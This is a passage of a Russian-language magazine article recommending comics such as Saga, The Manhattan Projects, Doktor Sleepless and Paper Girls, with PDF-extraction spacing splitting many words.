твен ное  кри вое  отра жение:  отец  глав ного  героя —  сос тарив ший ся  гей мер
и  любитель  гад жетов,  дитя  начала  двух тысяч ных.  Он,  стра дая  стар ческим
мараз мом,  тычет  в  экран  телефо на  и  не  может  понять,  куда  подевал ся
интернет.

К этим пло дам вооб ражения Брай ана Вона мож но отно сить ся скеп тичес‐ 
ки,  но  озна комить ся  все  же  сто ит,  тем  более  что  комикс 
по модели «зап лати сколь ко захочешь, можешь не пла тить вов се» и дос тупен
в виде PDF.

рас простра няет ся

SAGA
Ес ли ты ищешь что‐нибудь лег кое и при ятное для чте ния по вечерам, но тем
не  менее  нас толь ко  зах ватыва ющее,  что бы  хотелось  воз вра щать ся  сно ва
и сно ва,  то слож но дать луч шую рекомен дацию, чем Saga. Это кос мичес кое
фэн тези мас шта ба «Звез дных войн», в цен тре которо го — клас сичес кая исто‐ 
рия зап ретной люб ви меж ду пред ста вите лями двух враж дующих фрак ций.

Пе рес казывать  сюжет  «Саги»  не  буду,  ведь  ценен  вов се  не  он.  Здесь
прив лека ет ско рее буй ство вооб ражения, неверо ятные мас шта бы и раз нооб‐ 
разие кра соч ных миров и населя ющих их рас. Любовать ся всем этим осо бен‐ 
но при ятно, пос коль ку и нарисо вана «Сага» под стать. От кру тиз ны ино го раз‐ 
ворота прос то дух зах ватыва ет.

На чав читать «Сагу» с пер вых выпус ков, я не заметил, как их чис ло по про‐ 
шес твии шес ти лет перева лило за пол сотни. В исто рии это го  комик са было
уже столь ко все го, а она, похоже, толь ко набира ет обо роты.

THE MANHATTAN PROJECTS
По жалуй,  кар тинки, на  которой Аль берт Эйнштейн рас пилива ет иноп ланетя‐ 
нина  бен зопилой,  впол не  дос таточ но,  что бы  оха рак теризо вать  этот  комикс.
Если  такой  образ  вызыва ет  у  тебя  отторже ние,  спо кой но  про ходи  мимо
и упражняй ся в сно биз ме где‐нибудь еще.

А вот если кар тинка кажет ся инте рес ной,  то тебя ждет мно го часов занима‐ 
тель ного чти ва. Книж ка за книж кой перед тобой будет раз ворачи вать ся аль‐ 
тер натив ный  мир,  в  котором  уче ные,  при ложив шие  руку  к  соз данию  аме‐ 
рикан ской ядер ной бом бы, тво рят совер шенно неопи суемые вещи.

Ил люмина ты, иноп ланет ные нашес твия, тай ные сдел ки с СССР — в кот ле
вооб ражения  соз дателей  Manhattan  Projects  перева рились  самые  дикие
теории  загово ра.  Получив шееся  месиво  акку рат но  раз ложено  по  панелям
и  прип равле но  чер ным  юмо ром.  Это,  быть  может,  и  не  самое  полез ное
из интеллек туаль ных блюд, но выш ло на удив ление удо бова римо.

До пос ледней кни ги (The Sun Beyond the Stars), пос вящен ной кос мичес ким
прик лючени ям Юрия  Гагари на  и  Лай ки,  я  пока  не  доб рался,  но  с  пред вку‐ 
шени ем жду это го момен та.

DOKTOR SLEEPLESS
«Где  мой  чер тов  ракет ный  ранец?»,  «Где  наши  лета ющие  авто моби ли?» —
зада ются воп росами герои комик са Doktor Sleepless. Они име ют в виду, что
будущее, которое им (и нам) обе щали в ста рой науч ной фан тасти ке, так и не
нас тупило.  Вмес то  него  они  (как  и  мы!)  теперь  име ют  сов сем  дру гие  тех‐ 
нологии.

Дей ствие Doktor Sleepless про исхо дит как бы в тупике исто рии, выр вать ся
из  которо го  и  пыта ются  его  пер сонажи.  Глав ный  из  них —  самоп ровоз гла‐ 
шен ный  безум ный  уче ный.  Его  безумие  про явля ется  в  основном  в  виде
напыщен ных  речей,  которые  он  веща ет  при  помощи  пират ской  ради‐ 
останции.  Его  ауди тория  —  пред ста вите ли  радикаль ных  суб куль тур  вро де
грин деров  (любите ли  вжив лять  в  себя  элек трон ные  имплан ты)  и  девушек
шрай ки, которые уда лен но син хро низи руют свои ощу щения.

К сожале нию, Doktor Sleepless, удар но начав шись в 2007 году, так никог да
и  не  будет  окон чен  или  хотя  бы  про дол жен.  Бро шен ная  в  пос леднем  (шес‐ 
тнад цатом)  выпус ке  гра ната  с  нак лей кой  в  виде  улы бающе гося  лица  так
и  оста нет ся  висеть  в  воз духе,  а  при лагав шаяся  к  комик су    уже  даже
не откры вает ся.

ви ки

Од нако если тебе нра вят ся работы Уор рена Элли са,  то уже закон ченные
сери алы  вро де  Planetary  и  FreakAngels  подарят  тебе  мно го  часов  удо воль‐ 
ствия.  Так же  рекомен дую  Ignition  City  —  неболь шую  исто рию  о  полузаб‐ 
рошен ном кос могород ке и серию Injection, которая сей час толь ко начина ется
и поза имс тво вала из Doktor Sleepless кое‐какие идеи.

PAPER GIRLS
Вто рой  сезон  «Очень  стран ных  дел»  закон чился,  а  ты  хочешь  чего‐нибудь
еще  в  том же  духе?  Читай Paper Girls —  это  во мно гом  даже  кру че.  Четыре
геро ини  это го  комик са,  начав  путешес тво вать  во  вре мени,  никак  не  могут
прек ратить и вер нуть ся домой в вось мидеся тые. Вмес то это го им при ходит ся
стал кивать ся  со  все  новыми  и  новыми  загад ками,  раз гадка ми  и  уди витель‐ 
ными прик лючени ями.

По  дороге  авто ру  уда ется  инте рес но  пораз мышлять  о  тех  изме нени ях,
которые про изош ли в нашей жиз ни и в общес тве за пос ледние пару‐трой ку
десят ков  лет.  Добавь  к  это му  незабы ваемый  визу аль ный  стиль  (чего  сто ят
одни толь ко обложки!), и ты пой мешь, почему этот комикс стал стре митель но
набирать популяр ность.

Все го пока что дос тупно 23 выпус ка — отличный момент, что бы про честь
их все в пару при емов и ждать сле дующих.

НЕБОЛЬШОЕ НАПУТСТВИЕ
Вни матель ный читатель навер няка заметит, что я нем ного схит рил и полови на
спис ка  —  это  одни  и  те  же  три  авто ра:  Уор рен  Эллис,  Брай ан  Вон  и  Рик
Ремен дер. Но ничего не могу с собой поделать — имен но с них я начал зна‐ 
комс тво  с  сов ремен ными  комик сами,  не  был  разоча рован  и  пред вку шаю
новые тво рения. Наде юсь, тебя ждет не менее при ятный экспи риенс.

В  качес тве допол нитель ных ори енти ров могу  пореко мен довать  смот реть
на изда тель ство и импринт, под которым выпус кают ся книж ки. Сей час очень
мно го  хороше го  выходит  в  Image  Comics,  а  рань ше  для  той  же  ауди тории
пред назна чались имприн ты Vertigo и Wildstorm, при над лежащие DC.

В общем, успешных поис ков и при ятно го чте ния!

mailto:apismenny@gmail.com
https://xakep.ru/2016/04/21/hacker-movies/
https://xakep.ru/2016/05/31/15-documentaries/
https://xakep.ru/2016/05/06/top13-books-about-singularity/
http://panelsyndicate.com/comics/tpeye
http://www.doktorsleepless.com/index.php/Main_Page
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